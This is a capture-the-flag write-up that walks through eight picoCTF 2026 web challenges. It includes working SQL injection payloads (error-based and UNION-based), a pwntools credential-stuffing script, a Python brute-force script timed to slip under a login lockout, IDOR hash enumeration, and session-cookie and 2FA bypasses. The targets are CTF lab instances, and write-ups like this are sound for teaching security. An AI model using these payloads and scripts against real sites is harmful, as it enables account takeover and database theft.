picoCTF 2026 (Web)
picoCTF 2026 was full of amazing challenges. Let's tackle the web exploitation challenges today. Let's see how we can fool a server, gather exposed sensitive information to take over the server, how we can hack into admin account or how a simple sql query can compromise your entire database. Enjoy the ride, hackers…
Table of Contents:
- Hashgate -> Insecure Direct Object Reference (IDOR)
- Old Sessions -> Sensitive Information Disclosure
- Credential Stuffing -> Credential Stuffing / Broken Authentication
- Secret Box -> Error-Based SQL Injection
- Sql Map1 -> Union-Based SQL Injection
- Fool the Lockout -> Rate Limiting Bypass
- NO FA -> 2-Factor Authentication Bypass
- North-South -> Geographic Access Control Bypass
Challenges can be found here.
Hashgate
Hashgate presents us with only a website.

After accessing the website, we see an interface with a log in form. But we don't have a set of credential to log in with. What to do now?

Well, when solving CTF challenges, we usually start by exploring the source of the website. By viewing the source, we get a set of credential, email & password, hardcoded in the comment. Sometimes, developers make this mistake and hardcode srecrets like api-key , ssh key , password etc, in the public facing code. In fact when hunting for bugs, I've found so many examples of this type of mistake, that makes me wonder how a small mistake can compromise a system.

Anyway, back to the challenge, after logging in using the exposed credentials, we get a massge that the guest user is not previlaged enough to access the flag. Only an admin can access that confidential information.
Alright, now our goal is clear, we have to takeover the admin account. The privilage escalation game is on.
Burpsuite was running in the bacground, silently capturing all the traffic. For this part I'm gonna speedrun the next steps.
1. Find the request to GET your profile
2. notice that the user ID parameter is not directly an integer but a hashed string

3. The hash-identifier tool identifies the hash as MD5
4. Now we need to bruteforce the admin account. send the GET request to intruder
5. selet the hash value and add $
6. from the payloads tab, set the payload list as number , set the limit from 1000 to 20000. Why, cause notice the guest id is 3000 and the hint on the chall says that "There are about 20 employees in this organisation." So just be really sure, I was kinda shooting in the dark.

Start the attack, filter responses with 200 OK , and it gives us the flag.
Old Sessions
Old Sessions is a perfect example of sensitive information disclosure , where the frontend exposes some confidential info that the system should not disclose.

After creating an account and logging in we get this page with a suspicious comment:

force browsing /sessions exposes the session key of the admin. BINGO!

Next step is easy. Using burpsuite send a GET request but use the exposed session cookie of admin. The response contains the flag. congratuations, you have hacked the admin account.

Credential Stuffing
As the name suggests, this challenge demonstrates the classical Credential Stuffing vulnerability. Credential stuffing happens when a black hat tries to log in by randomly stuffing a set of credential at the /login endpoint.

Launching the instance gives us a netcat command and a txt file name creds-dump.txt which contains thousand of username and password formatted as username;passwd . Since it is impractical to try evety pair manually, I used a python script that tries to log in with every possible credential.
from pwn import *
# Load credentials
with open("creds-dump.txt") as f:
creds = [line.strip().split(";") for line in f]
for user, passwd in creds:
r = remote("crystal-peak.picoctf.net", 60635)
r.recvuntil(b"Username:")
r.sendline(user.encode())
r.recvuntil(b"Password:")
r.sendline(passwd.encode())
response = r.recvall(timeout=2).decode()
r.close()
if "picoCTF{" in response:
print("[+] Found valid creds:", user, passwd)
print(response)
breakThis program takes every pair of creds, split by the ; then keeps trying to log in untill a flag is found. Running this program gives us the flag:

If further measurments are not taken like 2-factor authentication, Credential stuffing can do some serious damage.
Secret Box
Secret box gives us a website and source code. This is can be an example of source code review.


After creating an account and logging in, user is prompted to create a secret.

I created a cuple of secrets. It's a nice little way to store notes(or secrets), but where is the flag!!
Now taking a look at the source code, a sql injection vulnerability can be noticed in server.js.

here is what's happening:
whenever a user tries to store a secret, the backend takes the userId & content of the secret to store into the database. But, instead of parameterizing the values, it directly concatinates it into the sql query. As a result, a hacker can execute any sql query and compromise the database.
OK, a sqli has been detected but how can we leverage this to get the flag?
Looking at the source codes again, we can find the userId of admin

Exploitation :
const query = await db.raw(
`INSERT INTO secrets(owner_id, content) VALUES ('${userId}', '${content}')`
);Because content is taken directly from the request body without sanitization, an attacker can "break out" of the single quotes to execute arbitrary SQL.
Exploitation Strategy: Error-Based SQLi
Since the application uses PostgreSQL and returns database error messages to the client, we can use an Error-Based approach to exfiltrate the flag.
- Breakout: Use
'), (to close the current value set and start a new one. - Targeting: The
db.jsfile revealed asmin UUID (e2a66f7d-2ce6-4861-b4aa-be8e069601cb) where the flag is stored. - The exploitation : We use a subquery to select the flag but wrap it in a
CAST(... AS integer)function. - The Leak: Because the flag is a string (
picoCTF{...}), the database fails to convert it to a number and throws a syntax error containing the flag's value. - The Payload: Input for
content:dummy'), ('e2a66f7d-2ce6-4861-b4aa-be8e069601cb', (SELECT CAST(content AS integer) FROM secrets WHERE owner_id='e2a66f7d-2ce6-4861-b4aa-be8e069601cb' LIMIT 1))--
Final SQL Query executed by the server:
INSERT INTO secrets(owner_id, content) VALUES ('[USER_ID]', 'dummy'), ('e2a66f7d-2ce6-4861-b4aa-be8e069601cb', (SELECT CAST(content AS integer) FROM secrets WHERE owner_id='e2a66f7d-2ce6-4861-b4aa-be8e069601cb' LIMIT 1))--')
Result
The server responded with a database error: invalid input syntax for type integer: "picoCTF{sq1_1nject10n_c6f08ffd}"

Flag: picoCTF{sq1_1nject10n_c6f08ffd}
Sql Map1

Perhaps, this challenge was meant to be solved using sqlmap but i took the manual approach.
We were given a website.

after logging in, we can search for flag. but clearly these are dummy flags. DECOY.

But entering ' , end of the query string confirms that a sql injection is present. and the backend DB is sqlite. To exploit this i utilized UNION-based injection.

Step 1: Find the number of columns:
Inject order by until it crashes. ?q=test' ORDER BY 1-- -> ok
?q=test' ORDER BY 2-- -> ok
but ORDER BY 3 crashed so there are 2 columns.
Step 2: Locate the "Visible" Column
We need to see which of the two columns actually shows up
payload: ?q=test' UNION SELECT 'COL1', 'COL2'--

perfect. now
Step 3: List the Tables
test' UNION SELECT name, sql FROM sqlite_master WHERE type='table'--

database shema successfully dumped. the target is clearly the flags table.Looking at the CREATE TABLE statement for flags, we see it has three columns: id, key, and value. The flag is almost certainly stored in the value column, right? Not exactly.
I did that same mistake too and it just wasted my time. Instead we need to target the users tabale.
Step 4: dump the password hashes
Runnig this query:
test' UNION SELECT username, password FROM users-BOOMM!! We get the complete hash dump of all the users. (Passwords are not stored as plaintext in the database, rather as hashvalues.)

The rest is easy. I used crackstation to crack those hashes, and the user ctf-player has the password dyesebel.

Now using the cracked password, take over the ctf-player account(log in) and voila! You've got the flag.

Fool the Lockout
Ah! The classic rate limitting bypass!

The given wevsite enforces a rate limiting method. That is, if a user is trying to log in and enter wrong password for 10 times in duration of 30 seconds, their ip will be blocked for 120 seconds. This technique is used to slow down brute-force attacks.
MAX_REQUESTS = 10 # max failed attempts before a user is locked out
EPOCH_DURATION = 30 # timeframe for failed attempts (in seconds)
LOCKOUT_DURATION = 120 # duration a user will be locked out for (in seconds)so to bypass this, i sent 9 request then pause for 32 seconds. Then again send 9 requests and repeat the process untill a match is found. Why 32? Well anything over 30 will work.
import requests
import time
# Configuration
URL = "http://candy-mountain.picoctf.net:54301/login"
USERS = ["rora", "birendra", "khalid", "stanislaw", "maged", "sigrid", "alysse", "emely", "cornel", "shamira", "cymbre", "romola", "leisa", "goldie", "celia", "kathrine", "adrianne", "rebbecca", "meridel", "riva", "dorris", "ngai", "gwynn", "olenka", "vahe", "germ", "bradwin", "marinette", "kori", "leita", "arzu", "roanna", "meena", "beryle", "field", "keaton", "amandine", "cherise", "aidan", "medria", "marga", "triston", "ljilyana", "paulo", "woodrow", "dacie", "evy", "amabelle", "technical", "celesta", "sherill", "nadir", "ayesha", "dolorita", "linnet", "clareta", "colm", "felton", "tera", "bethan", "rohit", "cali", "faina", "saleem", "luelle", "emmey", "carlyn", "sallyanne", "my", "constantia", "tenille", "suria", "princeton", "goska", "joana", "deane", "brynna", "oliver", "erinn", "val", "duquette", "sieber", "danice", "romonda", "sinead", "linette", "almendra", "meriann", "shedman", "elody", "doloritas", "cecile", "arielle", "mitch", "henrietta", "sule", "huan-yu", "lita", "ravi", "percy"]
PASSWORDS = ["winner1", "rumble", "sting", "ming", "nimrod", "telephon", "sutton", "tyrant", "rodman", "marion", "california", "steven", "basketba", "ferrari", "beatles", "tango", "iiiiii", "core", "bolton", "trent", "sponge", "ellie", "grizzly", "london1", "devilman", "bigguns", "doogie", "pic's", "swimming", "4you", "calimero", "trooper1", "tracy", "zippy", "sunflowe", "hall", "whatup", "dean", "gallaries", "locutus", "infinite", "kristina", "carsten", "chicks", "14141414", "diamond1", "sex4me", "fatty", "market", "drive", "icecube", "vides", "necklace", "concorde", "yaya", "yankee1", "goblue", "divine", "mccabe", "barber", "berry", "assword", "choke", "ella", "bolitas", "spanner", "kokoko", "mordor", "hotsex", "budlight", "lambert", "james007", "olympic", "allan", "citroen", "shoe", "church", "higgins", "nineinch", "sampson", "5252", "ripple", "smooth", "texaco", "infiniti", "reddog", "christin", "kajak", "ewtosi", "athome", "birgit", "makaveli", "rachel", "killers", "egghead", "devon", "destin", "2277", "969696", "puddin"]
def solve():
total_attempts = 0
for user, pwd in zip(USERS, PASSWORDS):
# Logic: If we've finished 9 attempts, wait before the 10th
if total_attempts > 0 and total_attempts % 9 == 0:
print(f"\n[!] 9 attempts finished. Sleeping 32s to avoid lockout...")
time.sleep(32)
print(f"[*] Attempt {total_attempts + 1}: {user}:{pwd}", end="\r")
try:
r = requests.post(URL, data={'username': user, 'password': pwd}, allow_redirects=False)
if r.status_code == 302:
print(f"\n\n[+] SUCCESS!")
print(f"[+] User: {user} | Pass: {pwd}")
return
if "Rate Limited Exceeded" in r.text:
print(f"\n[-] Still hit rate limit! Server might be counting GETs too. Try sleeping longer.")
return
total_attempts += 1
except Exception as e:
print(f"\n[-] Error: {e}")
return
if __name__ == "__main__":
solve()Running this code succesfully gave us the set of username and password we need. And we've fooled the lock-out.

Using this creds, when logged in, the website gives the flag.

NO FA
Bypassing 2-factor authentication. lessgooo

the chall comes with a website, the backend code and a leaked user.db databse. examining the database we get password hash for admin along with every other user's username & password. Also, 2-factor authentication is enabled for the admin.

hash-identifier identifies the hash as sha-256 hashing algorithm.

crackstation gives us the password. its apple@123.

after logging in, the site asks for the 2-fa code. but we don't have that. Sometimes developers make mistake and send that code to fronend. so check the session cookie.

since this is a flask application, there is a tool we can use to decode the session cookie.

using the code we can log in and get the flag. 2-FA Bypassed!!

North-South

The challenge gives us a website and a Ngnix config file.

Opening the .conf file we can see that, if our countey code is IS which reffers to Iceland, then it redirects us to south which holds the flag, if not then to north. So we have to make the server to think that we are from Iceland, even though we are not. This is very easy, just connect to a Icelandic server using a vpn and visit the site, the site gives us the flag.

That's it for today. If you've come this far- let's connect on LinkedIn.